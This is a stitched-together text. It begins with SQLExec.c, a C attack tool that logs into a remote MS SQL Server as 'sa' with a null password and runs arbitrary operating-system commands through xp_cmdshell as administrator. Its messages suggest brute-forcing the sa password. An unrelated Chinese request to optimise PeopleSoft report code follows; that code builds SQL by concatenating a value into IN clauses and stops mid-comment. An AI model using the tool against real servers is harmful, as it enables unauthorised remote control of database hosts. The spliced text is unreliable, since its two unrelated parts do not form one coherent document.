SQLexec

/******************************************************************
SQLExec.c
This file is for educational purposes only.
If you are planning to use it for another purpose
use it with your own responsibility.I have no responsibility.
It is written in Visual C++ 6.0.
It depends on the stored proc. xp_cmdshell.By default SQL server
is installed with Adminisrative privilege.So it executes command as
Administrator.It can be used either locally or remotely(Only if port 1433 is open)
It uses default sa account with NULL password.But this can be modified easily.
USAGE : SQLExec www.target.com
Copyright (c) 2000,Egemen Tas egemen@btkom.com or egement@karyde.com.tr
Feel free to contact with me at these mail.
*******************************************************************/
#include <stdio.h>
#include <windows.h>
#include <wchar.h>
#include <sql.h>
#include <sqlext.h>
#include <lmcons.h>
int main(int argc, char *argv[])
{
SQLCHAR Host[512]="";
SQLCHAR *User=";UID=sa";
SQLCHAR *Pass=";PWD=";
SQLCHAR *Database="";
SQLCHAR InConnectionString[1025]="";
SQLCHAR rowBuff[200]="";
SQLINTEGER   iRowBuff;
UCHAR Query[1500]="";
UCHAR Cmd[300]="";
char inBuff[1025]="";
SQLRETURN nResult;
SWORD     sLen;
SQLHDBC   hDbc;
HSTMT  hStmt;
SQLHANDLE hEnvironment;
int retries = 0;
if(argc !=2)
{
printf("\n\n-------------SQLExec 1.0 for Windows NT/2K/9X-------------\n\nBy Egemen Tas (Send all feedbacks and bug reports to egemen@btkom.com)\n\n");
printf("\nUsage : SQLExec <Hostname> \n!!!!(Do not use ip addresses of targets)!!!!\n");
return 0;
}
printf("\n\n-------------SQLExec 1.0 for Windows NT/2K/9X----------------\n\nBy Egemen Tas (Send all feedbacks and bug reports to egemen@btkom.com)\n\n");
memset(Query,0,1499);
strcpy(Host,argv[1]);
sprintf(InConnectionString,"DRIVER={SQL Server};SERVER=%s%s%s%s",Host,User,Pass,Database);
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&hEnvironment) != SQL_SUCCESS)
{
printf("SQLAllocHandle returned an error!\n");
return 0;
}
if (SQLSetEnvAttr(hEnvironment, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("SQLSetEnvAttr returned an error!\n");
return 0;
}
if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,hEnvironment,(SQLHDBC FAR*)&hDbc)) != SQL_SUCCESS)
{
printf("SQLAllocHandle returned an error!\n");
return 0;
}
while(retries < 4)
{
nResult = SQLDriverConnect(hDbc,NULL, InConnectionString,
strlen(InConnectionString),
inBuff,  1024, &sLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO)
{
printf("Ok.You have connected to MASTER database...\n");
SQLAllocStmt(hDbc,&hStmt);
break;
}
else
{
if(retries == 3)
{
printf("\nCould not connect to the SQL Server on the target!\n\nMake sure you use !!HOSTNAME NOT IP!!\n"
"If you are using dial-up connection retry for a few times.\n"
"If you are sure that SQL server is installed on the target check that port 1433 is open.\n"
"If port 1433 is open and you have tried several times to connect, then probably SA does not have a NULL password.\n"
"Get a SQL server brute force cracker , try to hack passwords and try again.\n"
"If you are a script kiddy then go (www.technotronic.com or packetstorm.securify.com) , find some documents , read them at least 1 year and try again.:))");
return 0;
}
retries++;
printf("Performing retry(%d)...\n",retries);
Sleep(5000);
}
}
printf("Now type dos command(s) to execute :");
fgets(Cmd,299,stdin);
Cmd[strlen(Cmd)-1]='\0';
sprintf(Query,"EXEC master..xp_cmdshell \"%s\"",Cmd);
printf("Trying to execute %s on the target\n",Cmd);
if(SQLExecDirect(hStmt,Query,SQL_NTS) != SQL_SUCCESS)
{
printf("An error occured while performing your query."
"This does not mean that your command is unsuccesfull...\n"
"Check the result.If it didnt work then \n"
"make sure you did not use duplicate keywords with ODBC api\n or the target does not have ' xp_cmdshell ' stored procedure.");
return 0;
}
while (nResult != SQL_ERROR)
{
memset(rowBuff,0,99);
nResult = SQLFetch(hStmt);
if (nResult == SQL_ERROR || nResult == SQL_SUCCESS_WITH_INFO)
{
printf("Error while fething the results from the stored proc.\n");
}
if (nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO){
SQLGetData(hStmt, 1, SQL_C_CHAR, rowBuff, 100, &iRowBuff);
printf("%s \n",rowBuff);
} else
{
break;
}
}
SQLFreeHandle(SQL_HANDLE_DBC,&hDbc);
SQLFreeHandle(SQL_HANDLE_ENV,&hEnvironment);
SQLFreeHandle(SQL_HANDLE_STMT,&hStmt);
return 0;
}

转载于:https://www.cnblogs.com/3xp10d3r/articles/1076447.html

下面是一段完整的AE code,请协助进行优化 /*=========================================/ 任务编号: 说 明: 人员分析报表(优化版) 作 者: 日 期: 2025-07-11 /=========================================*/ /* 声明变量 */ Local JavaObject &reportDefn, &reportRow, &reportRow2; Local number &rowNum, &processInstance, &bColIndex, &count0, &avgCount; Local string &oprid, &runCntlID, &c_gp_rptID, &start, &end, &reportTitle, &FilePath; Local string &aColValue, &bColValue, &prevAColValue, &Start_Dt, &End_Dt, &aColCode, &bColCode; Local SQL &sqlACol, &sqlBCol, &sqlData; Local array of string &bColData, &bColCodes, &aColCodes, &aColValues; Local array of number &monthStartDates, &monthEndDates; /* 初始化变量 */ &processInstance = C_GPANA_AET.PROCESS_INSTANCE.Value; &oprid = C_GPANA_AET.OPRID.Value; &runCntlID = C_GPANA_AET.RUN_CNTL_ID.Value; &c_gp_rptID = C_GPANA_AET.C_GP_RPT_ID.Value; &start = C_GPANA_AET.C_CAL_PRD_ID_BGN.Value; &end = C_GPANA_AET.C_CAL_PRD_ID_END.Value; /* 检查是否有B类操作 */ SQLExec("SELECT COUNT(*) FROM PS_C_GPANA_RPT_OP OP WHERE OP.C_GP_RPT_ID = :1 AND OP.C_GPANA_OPRID = 'B'", &c_gp_rptID, &count); If &count > 0 Then /* 获取期间1-12月 开始、结束日期 */ SQLExec("SELECT A.c_yearcd FROM PS_C_FRZ_CAL_VW A WHERE A.Cal_Prd_Id=:1", &start, &c_yearcd); SQLExec(SQL.C_1_12_GPANA_SQL, &c_yearcd, &start_1, &end_1, &start_2, &end_2, &start_3, &end_3, &start_4, &end_4, &start_5, &end_5, &start_6, &end_6, &start_7, &end_7, &start_8, &end_8, &start_9, &end_9, &start_10, &end_10, &start_11, &end_11, &start_12, &end_12); &reportTitle = "人员分析报表"; &rowNum = 3; /* 数据从第3行开始 */ &prevAColValue = ""; /* 1. 创建报表对象 */ &reportDefn = CreateJavaObject("com.cust.common.poi.ReportDefinition"); &reportDefn.AddSheet(&reportTitle); /* 2. 添加复杂表头行 - 优化为循环生成 */ /* 第一行表头 */ &reportRow = CreateJavaObject("com.cust.common.poi.ReportRow"); &reportRow.addString("组织范围"); /* A1 */ &reportRow.addString("人员类别"); /* B1 */ &reportRow.addString("年度累计"); /* C1-I1 */ /* 添加7个空单元格对应C1-I1 */ For &i = 1 To 6 &reportRow.addString(""); End-For; /* 循环添加12个月的表头 */ For &month = 1 To 12 &reportRow.addString(&month | "月"); /* 月份标题 */ /* 添加6个空单元格 */ For &i = 1 To 6 &reportRow.addString(""); End-For; End-For; &reportDefn.addRow(&reportRow); /* 第二行表头 */ &reportRow2 = CreateJavaObject("com.cust.common.poi.ReportRow"); &reportRow2.addString(""); /* A2 */ &reportRow2.addString(""); /* B2 */ /* 年度累计列标题 */ &reportRow2.addString("年度平均人数"); &reportRow2.addString("期初人数"); &reportRow2.addString("累计新增:新入职人数"); &reportRow2.addString("累计新增:调入人数"); &reportRow2.addString("累计减少:离职人数"); &reportRow2.addString("累计减少:调出人数"); &reportRow2.addString("期末人数"); /* 循环添加12个月的详细列标题 */ For &month = 1 To 12 &reportRow2.addString("月度平均人数"); &reportRow2.addString("月初人数"); &reportRow2.addString("本月新增:新入职人数"); &reportRow2.addString("本月新增:调入人数"); &reportRow2.addString("本月减少:离职人数"); &reportRow2.addString("本月减少:调出人数"); &reportRow2.addString("月末人数"); End-For; &reportDefn.addRow(&reportRow2); /* 合并表头单元格 */ /* 合并A1:A2 */ &reportDefn.mergeCells(0, 1, 0, 0); /* 合并B1:B2 */ &reportDefn.mergeCells(0, 1, 1, 1); /* 合并C1:I1 */ &reportDefn.mergeCells(0, 0, 2, 8); /* 合并各月份标题 */ For &month = 0 To 11 &startCol = 9 + (&month * 7); &endCol = &startCol + 6; &reportDefn.mergeCells(0, 0, &startCol, &endCol); End-For; /* 3. 获取B列所有数据 */ &sqlBCol = CreateSQL("SELECT OP.DESCR, OP.DESCR1 FROM PS_C_GPANA_RPT_OP OP WHERE OP.C_GP_RPT_ID = :1", &c_gp_rptID); &bColData = CreateArrayRept("", 0); &bColCodes = CreateArrayRept("", 0); While &sqlBCol.Fetch(&bColValue, &bColCode) &bColData.Push(&bColValue); &bColCodes.Push(&bColCode); End-While; &sqlBCol.Close(); /* 4. 处理A列数据并填充动态数据 */ &sqlACol = CreateSQL("SELECT L1.DESCR100, L1.SEQNBR FROM PS_C_GPANA_RPT_L1 L1 WHERE L1.C_GP_RPT_ID = :1", &c_gp_rptID); &aColValues = CreateArrayRept("", 0); &aColCodes = CreateArrayRept("", 0); /* 先获取所有A列数据 */ While &sqlACol.Fetch(&aColValue, &aColCode) &aColValues.Push(&aColValue); &aColCodes.Push(&aColCode); End-While; &sqlACol.Close(); /* 处理每行数据 */ For &aIndex = 1 To &aColValues.Len &aColValue = &aColValues [&aIndex]; &aColCode = &aColCodes [&aIndex]; /* 对每个A列值,循环所有B列值 */ For &bIndex = 1 To &bColData.Len /* 创建新行 */ &reportRow = CreateJavaObject("com.cust.common.poi.ReportRow"); /* A列处理(合并效果) */ If &aColValue = &prevAColValue Then &reportRow.addString(""); /* A列留空(模拟合并效果)*/ Else &reportRow.addString(&aColValue); /* A列填入值 */ End-If; /* B列值 */ &reportRow.addString(&bColData [&bIndex]); /* 根据A列和B列值获取动态数据 */ &bColCode = &bColCodes [&bIndex]; /* 年度累计数据 &avgCount-6*/ &reportRow.addString(String(&avgCount)); /* 年度累计数据 - C2:年度平均人数 */ &reportRow.addString(String(&avgCount1)); /* 年度累计数据 - 期初人数 */ &reportRow.addString(String(&avgCount2)); /* 累计新增:新入职人数*/ &reportRow.addString(String(&avgCount3)); /* 累计新增:调入人数*/ &reportRow.addString(String(&avgCount4)); /* 累计减少:离职人数 */ &reportRow.addString(String(&avgCount5)); /* 累计减少:调出人数*/ &reportRow.addString(String(&avgCount6)); /* 期末人数*/ /* 1月数据 &janCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_1, &janCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_1, &end_1, &janCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_1, &end_1, &janCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_1, &end_1, &janCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_1, &janCount6); &janCount = Round((&janCount1 + &janCount6) / 2.0, 0); &reportRow.addString(String(&janCount)); /* 月度平均人数 */ &reportRow.addString(String(&janCount1)); /* 月初人数 */ &reportRow.addString(String(&janCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&janCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&janCount4)); /* 本月减少:离职人数 */ &janCount5 = Abs(&janCount6 - &janCount1 - &janCount2 - &janCount3 - &janCount4); &reportRow.addString(String(&janCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&janCount6)); /* 月末人数 */ /* 2月数据 &febCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_2, &febCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_2, &end_2, &febCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_2, &end_2, &febCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_2, &end_2, &febCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_2, &febCount6); &febCount = Round((&febCount1 + &febCount6) / 2.0, 0); &reportRow.addString(String(&febCount)); /* 月度平均人数 */ &reportRow.addString(String(&febCount1)); /* 月初人数 */ &reportRow.addString(String(&febCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&febCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&febCount4)); /* 本月减少:离职人数 */ &febCount5 = Abs(&febCount6 - &febCount1 - &febCount2 - &febCount3 - &febCount4); &reportRow.addString(String(&febCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&febCount6)); /* 月末人数 */ /* 3月数据 &marCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_3, &marCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_3, &end_3, &marCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_3, &end_3, &marCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_3, &end_3, &marCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_3, &marCount6); &marCount = Round((&marCount1 + &marCount6) / 2.0, 0); &reportRow.addString(String(&marCount)); /* 月度平均人数 */ &reportRow.addString(String(&marCount1)); /* 月初人数 */ &reportRow.addString(String(&marCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&marCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&marCount4)); /* 本月减少:离职人数 */ &marCount5 = Abs(&marCount6 - &marCount1 - &marCount2 - &marCount3 - &marCount4); &reportRow.addString(String(&marCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&marCount6)); /* 月末人数 */ /* 4月数据 &aprCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_4, &aprCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_4, &end_4, &aprCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_4, &end_4, &aprCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_4, &end_4, &aprCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_4, &aprCount6); &aprCount = Round((&aprCount1 + &aprCount6) / 2.0, 0); &reportRow.addString(String(&aprCount)); /* 月度平均人数 */ &reportRow.addString(String(&aprCount1)); /* 月初人数 */ &reportRow.addString(String(&aprCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&aprCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&aprCount4)); /* 本月减少:离职人数 */ &aprCount5 = Abs(&aprCount6 - &aprCount1 - &aprCount2 - &aprCount3 - &aprCount4); &reportRow.addString(String(&aprCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&aprCount6)); /* 月末人数 */ /* 